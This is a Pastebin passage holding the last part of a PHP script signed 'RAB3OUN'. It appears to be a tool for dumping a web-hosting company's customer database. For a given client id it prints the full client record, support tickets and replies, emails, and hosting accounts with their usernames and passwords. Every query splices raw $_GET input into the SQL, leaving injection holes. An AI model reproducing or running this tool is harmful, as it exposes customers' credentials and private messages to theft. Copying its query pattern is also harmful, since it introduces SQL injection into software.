  1537. case 12:if($_GET["m"]){$query1=mysql_query("SELECT * FROM tblemails where id='".$_GET["m"]."'");
  1538. $v=mysql_fetch_array($query1,true);
  1539. echo($v["subject"]);
  1540. echo("<br>");
  1541. echo($v["message"]);
  1542. exit;
  1543. }echo"<center><h1>Client id ".$_GET["id"]."</h1><br>";
  1544. echo("<h3 class=\"tit\">Info</h3></center>");
  1545. echo"<ul>
  1546.  <li><a href='#t'>Client Tickets</a><li>
  1547.  <li><a href='#h'>Client Hosts</a><li>
  1548.  <li><a href='#m'>Client mails</a><li>
  1549.  </ul>";
  1550. $query1=mysql_query("SELECT * FROM tblclients where id='".$_GET["id"]."'");
  1551. $v=mysql_fetch_array($query1,true);
  1552. if($v){echo"<center><table>";
  1553. $i=0;
  1554. foreach($v as$x=>$y){if($i%2==0){$bg="class=\"bg\"";
  1555. }else{$bg="";
  1556. }echo"<tr $bg><td>$x</td><td>$y</td></tr>";
  1557. $i++;
  1558. }echo("</table><br>");
  1559. }echo"<h1 id='t'>Client Tickets</h1></center><br><ul>";
  1560. $query=mysql_query("SELECT * FROM tbltickets where userid='".$_GET["id"]."'");
  1561. while($v=mysql_fetch_array($query)){echo"<li><a href='#t".$v["id"]."'>".$v["id"]." ".$v["title"]."</a></li><br>";
  1562. }echo"</ul>";
  1563. $query=mysql_query("SELECT * FROM tbltickets where userid='".$_GET["id"]."'");
  1564. while($v=mysql_fetch_array($query)){echo("<br><br><center><h3  id='t".$v["id"]."' class=\"tit\">Ticket ID ".$v["id"]."</h3></center><br><br>");
  1565. echo("<center><table border=1>");
  1566. echo("<tr><th>".$v["title"]."<br>".$v["date"]."</th></tr>");
  1567. echo("<tr><td>".($v["message"])."</td></tr>");
  1568. $query2=mysql_query("select * from tblticketreplies where tid='".$v["id"]."'");
  1569. while($v2=mysql_fetch_array($query2)){if($v2["admin"]){echo("<tr class='bg' ><td>".nl2br($v2["message"])."</td></tr>");
  1570. }else{echo("<tr $bg ><td>".nl2br($v2["message"])."</td></tr>");
  1571. }}echo("</table><br><br>");
  1572. }echo("<h1 id='h'>Client Hosts</h1><br><br>");
  1573. table("SELECT * FROM tblhosting  where userid='".$_GET["id"]."'",array("domain","domainstatus","username","password","notes"));
  1574. echo("<h1 id='m'>Client mails</h1><br><br>");
  1575. $query=mysql_query("SELECT * FROM tblemails  where userid='".$_GET["id"]."'");
  1576. if(mysql_fetch_array($query)){echo("<table><tr><th>Subject</th><th>Date</th></tr>");
  1577. $i=0;
  1578. while($v=mysql_fetch_array($query)){if($i%2==0){$bg="class=\"bg\"";
  1579. }else{$bg="";
  1580. }echo("<tr $bg><td><a href='?p=12&id=".$_GET["id"]."&m=".$v["id"]."'>".$v["subject"]."</a></td><td>".$v["date"]."</td></tr>");
  1581. $i++;
  1582. }echo("</table>");
  1583. }else{echo"<p class=\"msg error\">Nothing Found !</p>";
  1584. }break;
  1585. }echo"      </div>
  1586.     </div> <!-- /cols -->
  1587.     <hr class=\"noscreen\" />
  1588.     <!-- Footer -->
  1589.     <div id=\"footer\" class=\"box\">
  1590.         <p class=\"f-left\">Coded by <a href=\"http://www.rab3oun.net\">RAB3OUN</a>, </p>
  1591.         <p class=\"f-right\">Templates by Adminizio</p>
  1592.     </div> <!-- /footer -->
  1593. </div> <!-- /main -->
  1594. </body>
  1595. </html>";
  1596.  
  1597. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top